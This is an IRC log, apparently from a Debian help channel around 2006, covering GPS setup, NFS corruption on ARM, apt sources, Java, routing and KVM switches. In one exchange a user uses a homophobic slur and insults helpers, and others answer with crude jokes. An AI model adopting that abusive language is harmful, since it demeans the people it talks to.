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| 03:32.52 | jeeves_Moss | abrotman: it's giving me an error of "this is normaly a bug in some application using the D-BUS library" |
| 03:33.09 | |pepo| | hi friends |
| 03:33.37 | abrotman | DaveyB: lprm i believe |
| 03:33.41 | abrotman | jeeves_Moss: so it's a gnome problem |
| 03:33.42 | abrotman | ? |
| 03:33.59 | jeeves_Moss | abrotman: I wonder if there ie a way of fixing it. |
| 03:34.22 | abrotman | jeeves_Moss: are you trying to use it with an application .. or just plugin the device ? |
| 03:35.18 | jeeves_Moss | abrotman: I want to get the GPS (that is a USB) device to auto detect and setup so I can use it for wardriving. |
| 03:35.32 | abrotman | jeeves_Moss: but at this point .. it doesn't work at all |
| 03:35.46 | illwolf | i have a rar file two of them |
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| 03:35.49 | illwolf | and how do i unrar 2 parts? |
| 03:35.51 | tuv | abrotman, it matches the copy on arm, from which it was copied. they both mismatch the original on x86 |
| 03:36.09 | itchi | illwolf: Should be done automatically |
| 03:36.17 | tuv | abrotman, which, again, supports that : to arm is problematic. from arm is ok |
| 03:36.27 | jeeves_Moss | abrotman: but, so far, it's giving me that error. Sometimes it connects and gives the cords, but the updates are VERY slow, and it takes forever to find any sattellites. |
| 03:36.29 | abrotman | tuv: is this on etch or sarge ? |
| 03:36.39 | tuv | abrotman, etch |
| 03:36.44 | tuv | abrotman, both |
| 03:36.50 | abrotman | tuv: you're using the kernel nfsd ? |
| 03:36.56 | tuv | abrotman, yes |
| 03:37.03 | itchi | illwolf: At least, if the files are in the same directory |
| 03:37.09 | blackelf_ | abrotman: spank my ass and call me grandpa, |
| 03:37.16 | tuv | abrotman, i tried the user server a while ago. it was even worse |
| 03:37.22 | illwolf | they are |
| 03:37.24 | abrotman | blackelf_: no |
| 03:37.25 | illwolf | they a on desktop |
| 03:37.29 | blackelf_ | the atop was all the time active as a deamon :) saving usage data to rav log file. awesome tool, atop atopd - I reccomend |
| 03:37.31 | itchi | illwolf: bad download then |
| 03:37.36 | abrotman | tuv: you could ask the debian kernel guys |
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| 03:37.39 | itchi | illwolf: Try another one |
| 03:37.47 | jeeves_Moss | abrotman: any ideas? |
| 03:37.50 | illwolf | lol its n0t bad downlaod |
| 03:37.56 | illume | does anyone know how I can go about filing a bug against freetype/sdl_ttf ? |
| 03:37.57 | abrotman | jeeves_Moss: have another GPS device to try ? |
| 03:38.00 | EdLin | !lol |
| 03:38.01 | dpkg | If you want to laugh, use heh or hah or bwahahaha. lol doesn't sound like laughter at all and makes you look like an AOL user. |
| 03:38.02 | abrotman | !reportbug |
| 03:38.02 | dpkg | methinks reportbug is used to submit bugs to the Debian BTS. Install reportbug, then run reportbug. Or on the web, http://www.debian.org/Bugs/ |
| 03:38.14 | itchi | illwolf: You pasted an message with an failed bla bla bla line |
| 03:38.17 | jeeves_Moss | abrotman: no, sorry, this is my only one. |
| 03:38.19 | blackelf_ | imho bwahahahahaah looks even more retarded then lol |
| 03:39.08 | EdLin | blackelf_: I mostly am against using "lol" as a form of punctuation, usually used to indicate happiness with being a luser. |
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| 03:39.14 | illwolf | k |
| 03:39.14 | itchi | 04:22:19 < illwolf> Extracting VA-Eminem_Presents_The_Re-Up-2006-RNS/.crc Failed |
| 03:39.15 | abrotman | tuv: you checked the BTS for the kernel package ? |
| 03:39.24 | illwolf | nevermind fag |
| 03:39.27 | illume | freetype/sdl_ttf has a really bad bug where if you pass it an empty string it crashes |
| 03:39.32 | abrotman | !tell illwolf about gay |
| 03:40.00 | abrotman | jeeves_Moss: does it happen with all kernels ? |
| 03:40.02 | blackelf_ | illwolf: my friend is gay, want his number? |
| 03:40.53 | jeeves_Moss | abrotman: yes. I think it's just the GPS. anyways, I've got to run. Christmas and all. |
| 03:41.02 | jeeves_Moss | all: happy holidys all! |
| 03:41.05 | itchi | illwolf: Maybe look to what 'crc' mean?? |
| 03:41.24 | abrotman | tuv: which kernel is it ? |
| 03:41.29 | blackelf_ | itchi: lol, why you keep talking to guy that clled you a fag |
| 03:41.32 | illwolf | lol |
| 03:41.35 | illwolf | stfu already hoe. |
| 03:41.43 | abrotman | illwolf: STOP |
| 03:41.59 | tuv | abrotman, 2.6.18 |
| 03:41.59 | abrotman | noone is going to help you if you're a dick to everyone |
| 03:42.00 | itchi | Because he have change that i not know what faq mean |
| 03:42.04 | illwolf | lol |
| 03:42.07 | itchi | oeps |
| 03:42.09 | illwolf | they wont even helping |
| 03:42.13 | itchi | s/faq/fag |
| 03:42.14 | illwolf | in frist place i guess. |
| 03:42.33 | illwolf | i dun need itchi and scratchie to tell me what gay is about |
| 03:42.47 | abrotman | illwolf: what the fuck is wrong with you? |
| 03:42.54 | blackelf_ | illwolf: are you 12? |
| 03:42.59 | DerJamster | probably. |
| 03:42.59 | itchi | illwolf: See /ignore illwolf |
| 03:43.01 | illwolf | maybe baby ;] |
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| 03:43.48 | abrotman | tuv: i can't find th efreaking package |
| 03:44.00 | Gge | in the /var/cache/apt/archives directory , after the installation of testing rc1 ( netinstall CD) , the paquets regarding Xserver are missing . Did i miss something ? |
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| 03:44.17 | abrotman | tuv: did you compile it yourself ? |
| 03:44.18 | blackelf_ | tuv: kernel? I reccomend just grabbing kernel.org's kenel and compiling by hand its rather easy |
| 03:44.24 | krenin | Hello and happy holidays. I am running Debian etch. I need a few packages from Debian stable. Is it OK to put the Debian stable entries into sources.list so that apt-get can get the ones that it needs, or would it ruin my installation? |
| 03:44.28 | abrotman | Gge: that's just cache |
| 03:44.39 | abrotman | blackelf_: didn't your attempt at that not boot ? |
| 03:44.40 | DerJamster | krenin: strange. Why do you need something from stable? |
| 03:44.52 | tuv | abrotman, no.. i don't compile kernels. for x86: linux-image-2.6.18-3-686 |
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| 03:45.00 | abrotman | tuv: i'd recommend NOT using a kernel.org tarball :) |
| 03:45.04 | abrotman | tuv: and on the ARM box ? |
| 03:45.09 | tuv | abrotman, linux-image-2.6.18-3-ixp4xx |
| 03:45.12 | abrotman | ah |
| 03:45.13 | Gge | Abrotman , where are stored the available paquets ? |
| 03:45.16 | blackelf_ | abrotman: at first, I used kernel hacking protect kernel papes option, which fails when used with grsecurity it seems |
| 03:45.26 | krenin | DerJamster: a package "bibletime" from stable neds a few packages from there, so I figured that maybe if I put the stable entry into sources.list that it could just grab the ones that it needs and not affect the etch ones. |
| 03:45.33 | abrotman | Gge: the intarweb |
| 03:45.41 | blackelf_ | abrotman: why you are reccomending against kernel.org sources? |
| 03:45.52 | DerJamster | krenin: eh? the bibletime package from etch won't work? |
| 03:46.04 | abrotman | blackelf_: because the kernel developers themselves have said not to use them |
| 03:46.08 | krenin | DerJamster: There currently isn't a bibletime package in etch. |
| 03:46.20 | Gge | abrotman , you mean I have to "apt-get install etc ? |
| 03:46.24 | blackelf_ | abrotman: huh O_o ? what? why? got url..? |
| 03:46.25 | DerJamster | krenin: hrm..true, just noticed. only in stable and sid. |
| 03:46.28 | abrotman | Gge: yes |
| 03:46.35 | abrotman | blackelf_: you said you were smart .. you should know how to find it :) |
| 03:46.53 | abrotman | tuv: anything special about the partition on the ARM ? |
| 03:46.55 | krenin | DerJamster: Yes. So the question is would it break my install to have etch and stable entries in apt's sources.list? |
| 03:47.25 | abrotman | tuv: is it an NSLU2 ? |
| 03:47.38 | tuv | abrotman, not really. root, /home, and swap. yes it is NSLU2 |
| 03:47.43 | DerJamster | krenin: I prefer not to mix sources, so can't say what it might do, but considering apt tends to grab the latest versions, it should work. |
| 03:47.53 | abrotman | tuv: partition type ? |
| 03:48.05 | tuv | abrotman, ext3 |
| 03:48.07 | krenin | DerJamster: That's what I figured (that apt would grab the newest versions which would be mainly in etch). |
| 03:48.19 | abrotman | tuv: did you notice the bug report about corrupting data ? |
| 03:48.54 | tuv | abrotman, was against the nfs-server or the kernel? i checked the nfs-kernel-server only |
| 03:49.05 | abrotman | tuv: no .. it's against the arm kernel package |
| 03:49.21 | abrotman | tuv: however .. it says it's with a LUKS partition |
| 03:49.43 | blackelf_ | abrotman: after brief googling, of 20 pages, 2 where telling to DO get kernel.org's kernel source, and none suggested its a bad idea |
| 03:50.01 | abrotman | blackelf_: they did .. |
| 03:50.23 | krenin | DerJamster: So do you think that I should try it? |
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| 03:51.22 | tuv | abrotman, i guess it dosn't help much then does it? |
| 03:51.28 | DerJamster | better ask somebody with experience with mixing sources :> I'd say yes, though. |
| 03:51.32 | abrotman | tuv: it might be indicitive of a problem |
| 03:51.52 | abrotman | tuv: i'd say it's time to file a bug ? |
| 03:52.10 | krenin | Does anyone else following my conversation with DerJamster know whether it's OK to put etch and stable sources together in apt's sources.list? |
| 03:52.36 | DerJamster | he's running etch. btw. |
| 03:52.43 | krenin | Yep. |
| 03:52.45 | tuv | abrotman, you think samba should do better? at least for the time being |
| 03:52.45 | abrotman | you shouldn't mix |
| 03:52.52 | abrotman | possibly |
| 03:53.01 | abrotman | hopefully it's not a kernel/FS bug |
| 03:53.36 | krenin | abrotman: Would it always grab the later versions (the ones in etch) where it has them? |
| 03:53.43 | abrotman | unless it's pinng |
| 03:53.46 | abrotman | pinning |
| 03:54.09 | krenin | abrotman: So it should work? Or are there other problems involved? |
| 03:54.15 | abrotman | mixing is bad! |
| 03:54.20 | abrotman | !mixing |
| 03:54.21 | teledyn__ | is there a way to scan an executable to detect if its possibly malicious? |
| 03:54.24 | abrotman | !mix |
| 03:54.24 | dpkg | [mix] Donald Knuths fictional computer from his "The Art of Computer Programming" books, or 1009 |
| 03:54.56 | teledyn__ | i like to download stuff from unofficial repositiories and am paranoid |
| 03:55.21 | itchi | teledyn__: Looks weird what you tell |
| 03:56.05 | teledyn__ | for example there are some cool xmms plugins on this one site, but i think - that would be a good way to install malware on a linux system |
| 03:56.34 | teledyn__ | http://rarewares.soniccompression.com/debian/packages/unstable/ |
| 03:57.02 | |pepo| | I am trying to configure my LAN but when I use: ifconfig eth0 192.168.0.2 I can ping to my self, but I cant see others PCs (the same NIC works with WinXP) |
| 03:57.04 | itchi | !water teledyn__ |
| 03:57.12 | itchi | Beer is dangerous |
| 03:57.18 | |pepo| | what can be wrong? |
| 03:57.42 | teledyn__ | |pepo|: you forgot netmask |
| 03:58.29 | |pepo| | no, I use all the configuration but I can join to the LAN |
| 03:58.49 | |pepo| | I dont have firewall, and everything is connected |
| 03:58.55 | teledyn__ | |pepo|: heh? |
| 03:59.41 | |pepo| | when use modconf to see the modules loaded... I can enter in kernel/drivers/net |
| 03:59.54 | teledyn__ | |pepo|: you forgot netmask |
| 04:00.45 | |pepo| | no, i use: ifconfig eth0 192.168.0.2 netmask 255.255.255.0 and fails too |
| 04:01.10 | teledyn__ | is this an experimental driver? |
| 04:01.12 | |pepo| | vi /etc/network/interfaces change everything and fails too |
| 04:01.34 | aib_ | gpg keeps complaining about not having enough entropy to create my private key. is anyone familiar with this? |
| 04:01.43 | itchi | |pepo|: The pussy cat have not play with the cable? |
| 04:02.12 | teledyn__ | anyhow, my favorite tv show is on... |
| 04:02.31 | |pepo| | no because I kick the pussy cat :) and the same NIC/cable works when boot with Windoze |
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| 04:03.03 | itchi | |pepo|: Cause my cat do it somethimes :-) I share my knowledges :-) |
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| 04:04.05 | itchi | |pepo|: What's between all the computers? |
| 04:05.03 | liable | |pepo|: set the route too |
| 04:05.05 | itchi | router/switch? |
| 04:05.34 | |pepo| | I have a switch d-link and my table now looks like |
| 04:05.36 | itchi | Or just crossed ... or whatever |
| 04:05.54 | |pepo| | 192.168.0.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 |
| 04:06.46 | itchi | |pepo|: No more? |
| 04:08.09 | blackelf_ | abrotman: good thing I fsck thoes file systems, where damaged a bit |
| 04:08.25 | itchi | But depend a bit if there are somethings behind the switch and so |
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| 04:08.34 | liable | |pepo|: route add -net default gw 192.168.0.1 dev eth0 |
| 04:08.38 | abrotman | doh! |
| 04:09.06 | |pepo| | http://channels.debian.net/paste/4894 |
| 04:09.21 | teledyn_tv | you don't need route to ping other ports on the same switch |
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| 04:09.58 | abrotman | tuv: are you filing a bug ? |
| 04:10.13 | teledyn_tv | but your default route is screwy |
| 04:10.24 | tuv | abrotman, not yet |
| 04:10.52 | abrotman | do eet! |
| 04:10.56 | itchi | |pepo|: That paste is of an gateway? |
| 04:10.56 | teledyn_tv | it should be set to 201.238.176.211 |
| 04:11.12 | itchi | Or at least, the goal of it |
| 04:11.47 | liable | |pepo|: do you have a dial up connection running to? |
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| 04:12.44 | DUAL_MAN | hey guys |
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| 04:13.11 | DUAL_MAN | ? about java installation |
| 04:13.19 | DUAL_MAN | how do i :D |
| 04:13.39 | abrotman | !install java |
| 04:13.39 | dpkg | extra, extra, read all about it, install java is First, read <java licensing>. Free java implementations available in debian can be seen by running "apt-cache search java-virtual-machine". if you need to run software not supported by one of the free java implementations (anything not in main), the java-package package (needs a contrib source), then ask me about <java-package> or install the sun-java5-jdk package from non-free if you're using etch/sid. |
| 04:13.41 | |pepo| | ¿?? |
| 04:13.43 | DUAL_MAN | this java-package thing i cant find |
| 04:13.45 | |pepo| | yes,, but just now |
| 04:13.48 | liable | |pepo|: try this one .. route add -net 192.168.0.0 netmask 255.255.255.0 dev eth0 |
| 04:14.03 | liable | |pepo|: that should let you ping the network |
| 04:14.12 | abrotman | DUAL_MAN: which version of debian ? |
| 04:14.18 | DUAL_MAN | sarge |
| 04:14.35 | DUAL_MAN | apt-get install java-package doesn't work |
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| 04:14.52 | abrotman | do you hvae contrib ? |
| 04:14.56 | abrotman | !contrib |
| 04:14.56 | dpkg | well, contrib is debian packages that are free, but depend on non-free software To get packages in contrib, lines like deb http://yourmirror/debian/ [testing|stable] main in your /etc/apt/sources.list need 'contrib' and possibly 'non-free' on the end. Ask me about <non-free> |
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| 04:15.20 | |pepo| | I did it |
| 04:15.24 | DUAL_MAN | i don't think so |
| 04:15.26 | DUAL_MAN | :D |
| 04:15.32 | DUAL_MAN | who is dpkg? |
| 04:15.39 | itchi | DUAL_MAN: A ghost |
| 04:16.19 | DUAL_MAN | he's an ashole for a ghost :D |
| 04:16.41 | rahul | !asshole |
| 04:16.41 | dpkg | BillGates: You're being summoned, Dark Lord. |
| 04:17.01 | rahul | I don't get it |
| 04:17.01 | itchi | DUAL_MAN: If you not sure about who you talk, _not_ judge it! |
| 04:17.05 | rahul | but I do need a shower |
| 04:17.56 | DUAL_MAN | abrotman: how do i get contrib |
| 04:17.56 | DUAL_MAN | and what is it |
| 04:17.56 | DUAL_MAN | newbe here |
| 04:17.56 | DUAL_MAN | :D |
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| 04:18.06 | blackelf_ | uhm... |
| 04:18.25 | kgoetz | er |
| 04:18.32 | itchi | Who gona fire as first? :-) |
| 04:18.34 | blackelf_ | should I convince my company to release our new application as Open Source? and/or for Debian? |
| 04:18.41 | abrotman | nice |
| 04:18.49 | itchi | Maybe he not realised it :-) |
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| 04:19.44 | kgoetz | blackelf_: depends what it is probably ;) |
| 04:19.57 | kgoetz | wb DUAL_MAN . |
| 04:20.04 | itchi | !tell DUAL_MAN -about paste |
| 04:20.20 | blackelf_ | kgoetz: DUAL_MAN press less ENTER key. Lay off the coffey. |
| 04:20.45 | kgoetz | blackelf_: what? |
| 04:20.46 | abrotman | or don't store up all that in your buffer |
| 04:20.50 | itchi | There is an app for straininjuries too :-) |
| 04:20.54 | abrotman | !tell DUAL_MAN about contrib |
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| 04:21.12 | blackelf_ | !tell me about sex baby |
| 04:21.19 | DUAL_MAN | i'm not sure i get you guys, did i do womething wrong? |
| 04:21.34 | blackelf_ | <dpkg> telling yourself: baby is about 80% vegetable <--- wtf |
| 04:21.37 | kgoetz | DUAL_MAN: dont say more then 4 lines ina row |
| 04:21.47 | blackelf_ | actuall, say one line in a row |
| 04:21.53 | DUAL_MAN | sorry |
| 04:22.01 | itchi | DUAL_MAN: Yup, as first your language (please pay attention) and not allowed to paste to many stuff nor press the Enter key as an geek |
| 04:22.01 | liable | DUAL_MAN: if you type 4 lines in a row within a small time frame, debhelper kicks out the channel, its to prevent people paste a lot in the channel |
| 04:22.03 | blackelf_ | DUAL_MAN: no problem, its 10 $ |
| 04:22.26 | itchi | gggrrr s/an/a/ ! |
| 04:22.27 | blackelf_ | or an xmass tree |
| 04:22.57 | DUAL_MAN | maybe it's the barley sandwich |
| 04:23.29 | itchi | blackelf_: There's no more space left :-p |
| 04:23.47 | DUAL_MAN | sooooo what is the best way to get ava installed |
| 04:24.14 | itchi | DUAL_MAN: Read your private message, people have ask the bot to tell it you, you just need to read it now |
| 04:25.10 | DUAL_MAN | it's talking about conrib, |
| 04:25.15 | DUAL_MAN | and non-free |
| 04:25.16 | abrotman | !install java |
| 04:25.16 | dpkg | hmm... install java is First, read <java licensing>. Free java implementations available in debian can be seen by running "apt-cache search java-virtual-machine". if you need to run software not supported by one of the free java implementations (anything not in main), the java-package package (needs a contrib source), then ask me about <java-package> or install the sun-java5-jdk package from non-free if you're using etch/sid. |
| 04:25.40 | itchi | DUAL_MAN: Yeah, you should first see for that contrib |
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| 04:27.55 | blackelf_ | DUAL_MAN: append words: contrib non-free to proper lines in file /etc/apt/sources.list |
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| 04:29.55 | blackelf_ | how to set kdm to be the loging manager |
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| 04:30.14 | blackelf_ | select alternatives something? |
| 04:30.26 | itchi | blackelf_: dpkg-reconfigure kdm |
| 04:30.42 | blackelf_ | gaah! |
| 04:30.53 | itchi | blackelf_: Or gdm works too :-) |
| 04:30.59 | blackelf_ | abrotman: damn, it still doesnt work - it tries to fsck my usb device which is not connected! |
| 04:31.12 | abrotman | is it no auto ? |
| 04:31.15 | blackelf_ | abrotman: I think its a bug that debian tries to fsck on bootup the noauto devices |
| 04:31.22 | blackelf_ | I think so |
| 04:31.27 | abrotman | no ... because i don't hvae a problem with it |
| 04:31.27 | itchi | blackelf_: with any dm i think |
| 04:31.34 | abrotman | and i have noauto devices |
| 04:31.35 | blackelf_ | itchi: dm? |
| 04:31.40 | itchi | !dm |
| 04:31.40 | dpkg | DM means display manager. xdm, gdm, kdm, wdm, pdm, and login.app are all examples of display managers. Ask me about nodm if you want to disable the DM. |
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| 04:31.44 | abrotman | blackelf_: of course .. you can file a bug if you like |
| 04:31.57 | blackelf_ | erm something is wrong |
| 04:32.04 | blackelf_ | the system doesnt boot up O_o |
| 04:32.07 | abrotman | blackelf_: or you could check the BTS yourself |
| 04:32.55 | blackelf_ | it stalled after cleaning /tmp /var/run etc and after Loading IPsec SA/SP database |
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| 04:34.26 | blackelf_ | computer is doing nothing, active rocess is swapper, no hdd activity, only first console is spawned, keyboard works fully |
| 04:34.40 | blackelf_ | any ideas what might be wrong/ |
| 04:34.45 | itchi | blackelf_: Wait a bit, for busybox?? |
| 04:34.54 | abrotman | it's loading all the things you've asked it to load ? |
| 04:34.57 | blackelf_ | itchi: huh? whats a bussybox |
| 04:35.04 | blackelf_ | abrotman: no, I didnt changed that yet |
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| 04:35.10 | blackelf_ | abrotman: no hdd activity as I said |
| 04:35.20 | abrotman | but it's swapping ? |
| 04:35.23 | blackelf_ | also my loader is forking into background |
| 04:35.28 | blackelf_ | no, no swapping |
| 04:35.37 | abrotman | blackelf_: maybe it's a bug in the unpolished kernel you love |
| 04:35.37 | itchi | blackelf_: Just minimalistic shell |
| 04:35.40 | blackelf_ | oh, it resumed loading |
| 04:35.54 | blackelf_ | wtf |
| 04:36.18 | blackelf_ | the only thing I changed was do finally do that fsck and to run atop |
| 04:36.24 | blackelf_ | oohhh |
| 04:36.44 | blackelf_ | I executed atop for 5 minutes, but probably it didnt automaticly run as deamon heh =) |
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| 04:37.45 | abrotman | i'm going to start calling you names too .. jeez |
| 04:38.44 | abrotman | oh .. it finally makes sense |
| 04:38.50 | abrotman | i should have realized ... |
| 04:39.39 | blackelf_ | abrotman: my kernel questions where less advanced then thoes like how to add non-free to apt? |
| 04:40.03 | abrotman | which kernel questions ? |
| 04:40.30 | itchi | hehe |
| 04:40.46 | blackelf_ | I think kernel should use more advanced information about how long given page should be cached and allow userspace to hint kernel about that |
| 04:41.02 | abrotman | the kernel doesn't know what you're going to load |
| 04:41.11 | blackelf_ | yes but I know |
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| 04:41.20 | blackelf_ | and its not only about precaching |
| 04:41.38 | abrotman | which is silly .. you're loading things before you need them .. *if* you need them |
| 04:41.55 | blackelf_ | what? |
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| 04:43.13 | itchi | hhhm, my irssi osd no more want to do it, brrrr |
| 04:44.13 | blackelf_ | and consider tar -czf backup.tgz ~ and tar -xzf source.tgz work/ in former kernel should rather not cache the resulting file, it will not be used, in the later it should - cp migh allow option to allow user to state what he plans to do with such data, and cp would hint kernel is it needed or not to cache thoes files etc |
| 04:44.37 | yungknight | does anyone here use cp+ to administer remote debian servers? |
| 04:44.49 | abrotman | blackelf_: okay .. you send off your email to the LKML .. see what they say |
| 04:44.55 | abrotman | yungknight: cpanel ? |
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| 04:45.32 | yungknight | abrotman: no CP+, it's like cpanel but for dedicated and virtual servers |
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| 04:45.44 | abrotman | and not packaged in debian ? |
| 04:45.46 | blackelf_ | s/cp/tar actually it should apply to several tools, perhaps it might be a flag for given process, like I mark given process as WORKSTYLE_BACKUP - it will hint kernel to rather not cache the output, and in addition to give it low IO priority |
| 04:46.06 | abrotman | blackelf_: that's fine .. go discuss it with ##kernel or send them an email |
| 04:46.24 | blackelf_ | abrotman: uh, with such silly guestions? well yeah I hope to write an RFD during xmass :) |
| 04:46.24 | magyar | gravity: ping |
| 04:46.30 | blackelf_ | q |
| 04:46.33 | gravity | magyar: pong |
| 04:46.36 | abrotman | Request For Death ? |
| 04:46.42 | blackelf_ | discussion |
| 04:46.47 | abrotman | oh |
| 04:47.02 | gravity | I like abrotman's version better |
| 04:47.06 | magyar | gravity: any clu when x1000 ati cards will be included in "raden" ? |
| 04:47.08 | abrotman | hehe |
| 04:47.23 | gravity | magyar: Not likely any time soon. There's a driver that exists, but ati won't let the guy who wrote it release it |
| 04:47.35 | abrotman | what? |
| 04:47.36 | blackelf_ | now with atop, this time in background, I can see which processes are lunched during startup and which wait too much for input |
| 04:47.38 | abrotman | why not ? |
| 04:47.45 | gravity | abrotman: Ask ATI |
| 04:47.53 | abrotman | gravity: i assume NDA violation |
| 04:47.55 | blackelf_ | didnt like Amd bought ATI? |
| 04:47.57 | liable | didnt he sign a non-disclosure or something? |
| 04:48.00 | abrotman | blackelf_: yes |
| 04:48.13 | blackelf_ | and Amd is known for supporting linux etc |
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| 04:48.29 | abrotman | guess not this time |
| 04:48.33 | magyar | gravity: that ain't good |
| 04:48.38 | magyar | :( |
| 04:48.38 | gravity | No, it's not |
| 04:48.45 | blackelf_ | what the hell is with this closing of drivers |
| 04:48.48 | liable | i just wish there driver would support aiglx |
| 04:48.54 | gravity | blackelf_: Buy intel |
| 04:48.54 | blackelf_ | they are selling the freaking hardware, wtf |
| 04:48.56 | liable | s/there/their/ |
| 04:49.02 | yungknight | or maybe i should be asking, how do i setup bind so that i can use ns1.mysite.com on godaddy |
| 04:49.09 | gravity | I keep harping on this for a reason |
| 04:49.21 | gravity | intel hasn't given us the specs, but they do give us a lot of code and document it very well |
| 04:49.27 | abrotman | yungknight: try #bind .. and i'd recommend against using the cp+ or whatever it is |
| 04:49.48 | blackelf_ | offtopic question, my speakers make noises when a cellphone is used nearby, how to fix it..? like put something onto cables? |
| 04:50.06 | abrotman | gravity: though i wish they'd kill off the blobs for the wifi |
| 04:50.40 | gravity | abrotman: Don't we all. Although apparently the intel blob at least really does very little. |
| 04:50.56 | abrotman | gravity: so i understand .. but still ... |
| 04:50.58 | gravity | abrotman: I haven't heard anything about other drivers though. I hope the broadcom driver is the same. |
| 04:51.02 | gravity | abrotman: Yeah, I'm with you |
| 04:51.17 | abrotman | gravity: the bcm43xx has a blob .. |
| 04:51.25 | abrotman | i think tg3 still does for some advanced features |
| 04:51.26 | gravity | abrotman: Yeah, I don't know how much it does though. |
| 04:51.43 | gravity | abrotman: If all it does is set the frequency, I'm Ok with that |
| 04:51.44 | abrotman | doesn't work at all without it and ti's different for each device |
| 04:52.14 | abrotman | some guy was in here earlier with a bcm43xx .. but it wouldn't work .. though he was also on amd64 |
| 04:52.15 | blackelf_ | anyone uses monitor+mouse+keyboard hardware switch? like to connect two boxes to one screen/mouse/kb |
| 04:52.22 | abrotman | KVM |
| 04:52.26 | blackelf_ | yea |
| 04:52.29 | abrotman | gravity: you didn't make it home ? |
| 04:52.45 | gravity | heh |
| 04:53.03 | magyar | blackelf_: i do |
| 04:53.21 | magyar | blackelf_: KVM |
| 04:53.31 | magyar | oops |
| 04:53.33 | blackelf_ | magyar: impressios? |
| 04:53.44 | blackelf_ | does it lower quality of video signal? |
| 04:54.21 | blackelf_ | I wonder is there a version with USB (kb/mouse) and audio |
| 04:54.26 | abrotman | yes |
| 04:54.26 | magyar | blackelf_: sub or dvi ? |
| 04:54.37 | blackelf_ | magyar: the normal crt, its sub afair |
| 04:54.41 | abrotman | blackelf_: try belkin.com or dlink.com or cdw.com |
| 04:54.46 | blackelf_ | ok |
| 04:54.50 | itchi | blackelf_: Yes, have 2 here, each of 2 ports |
| 04:55.24 | blackelf_ | cool. and the video quality? |
| 04:55.31 | itchi | blackelf_: But with PS2 and without audio |
| 04:55.39 | magyar | blackelf_: i use it for servers, therefore i use d-sub and I care not about video, but using usb for all three is shit |
| 04:56.34 | magyar | blackelf_: not enough "bandwith" |
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| 04:58.13 | blackelf_ | most usb keyboards will work in linux, includign extended keys> |
| 04:58.14 | blackelf_ | * ? |
| 04:58.25 | magyar | uh-huh |
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| 04:58.34 | blackelf_ | erm? |
| 04:58.39 | itchi | blackelf_: Sure |
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| 04:59.02 | blackelf_ | neat |
| 05:00.02 | itchi | blackelf_: On one computer an kvm is connected with an server and a workstation with 3D, no troubles with 3D and so. (Missed somethings above) |
| 05:00.06 | blackelf_ | magyar: hm? what happened |
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| 05:00.40 | magyar | blackelf_: as i mentioned befor, the word shit comes to mind |
| 05:01.03 | liable | no wonder it tastes bad |
| 05:01.29 | magyar | -_- |
| 05:01.44 | blackelf_ | magyar: you meant the low video quality? |
| 05:01.55 | krenin | See you later. |
| 05:02.14 | Kage` | Offbeat question, but does anyone here have a UseNeXT account? >_> |
| 05:02.23 | magyar | blackelf_: low everyting, video keyboard mouse and network |
| 05:02.31 | EdLin | !polls |
| 05:02.31 | dpkg | "Does anyone have X or use Y?" is taking a poll, not asking a valid question. Don't do it or sussudio's army of militant badgers will hurt you. Also see <ask> and <bad polls> |
| 05:02.35 | blackelf_ | magyar: how can keyboard be "low" O_o ? |
| 05:02.46 | liable | hrm, stupid gnome doesnt adjust my mouse sensitivity |
| 05:02.48 | itchi | I not yet have discover any trouble with my kvm on that desktop and the test server, and i test many :-) |
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| 05:03.14 | Kage` | EdLin, poll or not, I still need to find someone who uses it :/ |
| 05:03.17 | fiendskull9 | hey |
| 05:03.19 | rahul | liable: just use normal xset |
| 05:03.19 | blackelf_ | itchi: its for desktops, one 1600x1200 |
| 05:03.24 | fiendskull9 | anybody got any kde4 snapshot packages built? |
| 05:03.38 | liable | rahul: righto |
| 05:03.38 | magyar | blackelf_: you type something and you get " why te fuc did I by tis sit" typing ? |
| 05:03.38 | itchi | blackelf_: Have 1280x1024 here |
| 05:04.06 | blackelf_ | magyar: lol |
| 05:04.11 | blackelf_ | itchi: so yours KVM didnt experienced magyar's problems? |
| 05:04.19 | itchi | blackelf_: It's a bit an old gfx card nvidia mx440 |
| 05:04.30 | blackelf_ | grandpa \o/ |
| 05:04.42 | itchi | blackelf_: But like i told, have not USB, it's PS/2 |
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| 05:04.57 | blackelf_ | ok |
| 05:05.04 | rahul | ps/2 kvms are probably more crappy than usb |
| 05:05.19 | EdLin | Kage`: what does your question have to do with Debian? |
| 05:05.21 | itchi | What are crappy of it, tell me :-) |
| 05:05.36 | itchi | Maybe once i put my feet in it, yeah then ... |
| 05:05.39 | rahul | I think usb was designed with an idea to make kvms work fine with it |
| 05:05.57 | Kage` | EdLin, Hmm, I dunno, but it could have something to do with it. |
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| 05:06.00 | itchi | rahul: Why should PS/2 not?? |
| 05:06.15 | rahul | itchi: I think it's more timing-dependent |
| 05:06.23 | itchi | rahul: ug |
| 05:06.29 | Gge | Etch version install actually on going ( netinstall ) . What is the "latop" package ? |
| 05:06.40 | itchi | rahul: The Debian not yet know that he use an kvm |
| 05:06.51 | rahul | the debian? |
| 05:07.05 | itchi | rahul: Drop The |
| 05:07.22 | Gge | What is the "laptop" package ? |
| 05:07.34 | itchi | Gge: apt-cache show laptop |
| 05:07.53 | rahul | itchi: ok, but what does debian have to do with this? it's a hardware thing. |
| 05:08.06 | itchi | rahul: That's the point, at my eyes, nothings |
| 05:08.36 | itchi | rahul: So i dunno why PS/2 should be crappy vs usb |
| 05:08.48 | Gge | itchi , the installer ask to select package like webserver , etc and laptop |
| 05:08.57 | rahul | itchi: it's a hardware thing. it has to do with signal timing |
| 05:09.05 | itchi | rahul: And?? |
| 05:09.12 | rahul | itchi: I think usb is "more digital" |
| 05:09.17 | itchi | rahul: And?? |
| 05:09.20 | rahul | because it has to be packet-switched |
| 05:09.26 | itchi | rahul: And?? |
| 05:09.31 | itchi | But here we turn |
| 05:09.35 | rahul | itchi: so it's harder to make a good kvm for ps/2 |
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| 05:09.57 | itchi | rahul: Why care you about? Build you it? |
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| 05:09.58 | rahul | it has to worry about degrading the signal strength too much |
| 05:10.09 | itchi | Gge: Have you an laptop? |
| 05:10.17 | Gge | yes |
| 05:10.27 | itchi | Gge: Select it then |
| 05:10.27 | Cyis | bah... Debian LiveCD won't work on my in-laws computer... |
| 05:10.33 | rahul | itchi: no, but you have to know how much difference quality makes to something you're buying |
| 05:10.37 | Gge | oh ... too late . |
| 05:10.49 | rahul | a crappy usb kvm probably won't be as bad as a crappy ps/2 kvm |
| 05:10.56 | itchi | Gge: No matters, as root user tasksel |
| 05:11.09 | itchi | Gge: Once it done what he do now |
